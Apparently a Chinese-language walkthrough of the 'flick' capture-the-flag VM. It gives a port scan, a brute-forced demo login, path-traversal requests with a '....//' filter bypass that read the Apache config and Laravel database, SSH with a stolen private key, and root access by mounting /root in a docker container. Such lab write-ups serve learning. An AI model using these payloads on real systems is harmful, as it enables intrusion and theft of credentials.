提示我们后门打开，可是22和8881的返回没有变化啊，重新扫描下发现是打开了80端口
sudo nmap --min-rate 10000 -p- 192.168.1.148
[sudo] wyh 的密码：
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 10:12 CST

访问下80，一个全是图的主页面和一个登录页面，尝试扫一下目录，目录没有什么信息
登录页面是不是存在爆破、注入的可能，
注入测试了下，没有测出来注入点；再试试爆破，它提示我们使用测试账号登录，burp直接爆破
爆出demo：demo123就能登录，多了下载图片和上传文件的功能
做了一个msf的图片马，上传图片木马 上传成功但没有监听不到。
换个思路，任意文件下载/读取？
测试发现存在任意文件下载/读取，只不过存在防护，双写直接绕过，读取到靶机的文件
尝试读取apache2的配置文件
GET /image/download?filename=....//....//....//....//etc/apache2/sites-enabled/000-default HTTP/1.1
配置文件中显示了服务器的文件根目录
ServerAdmin webmaster@localhost
DocumentRoot /var/www/flick_photos/public
靶机采用了laravel框架，查一查相关的资料，需要查看app/database/production.sqlite文件夹，production.sqlite 文件是 Laravel 在生产环境中使用的 SQLite 数据库文件。它包含了应用程序在生产环境下的所有数据，包括用户信息、配置信息、日志记录等等。
GET /image/download?filename=....//....//....//....//var/www/flick_photos/app/database/production.sqlite HTTP/1.1
都试一试，发现dean的用户可以登录，而且用户下有两个文件夹

拿到了robin的私钥，复制到/dean/.ssh/id_rsa中
dean@flick:~$ ssh -i id_rsa robin@127.0.0.1
robin@flick:~$ id
uid=1000(robin) gid=1000(robin) groups=1000(robin),999(docker)
这样子就切换到另一个用户robin上了，看看权限
robin@flick:~$ sudo -l
Matching Defaults entries for robin on this host:
env_reset,（执行sudo命令后会重置环境变量）
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin（定义 sudo 查找执行文件的路径。这通常是系统上可执行文件所在的目录列表）
User robin may run the following commands on this host:
(root) NOPASSWD: /opt/start_apache/restart.sh（表示在执行 "/opt/start_apache/restart.sh" 脚本时不需要密码）
这里没事了了 看下wp是通过docker挂载目录实现
docker run -t -i -v /root:/root ubuntu /bin/bash
在Docker中运行一个Ubuntu镜像，并进入其Shell环境的
将靶机root目录挂到容器root目录，容器的输入绑定到robin的输入，并且不会关闭
进入容器的root目录一个假的flag文件和一个含有flag文件的文件夹

Congrats!
You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)
ciao for now!
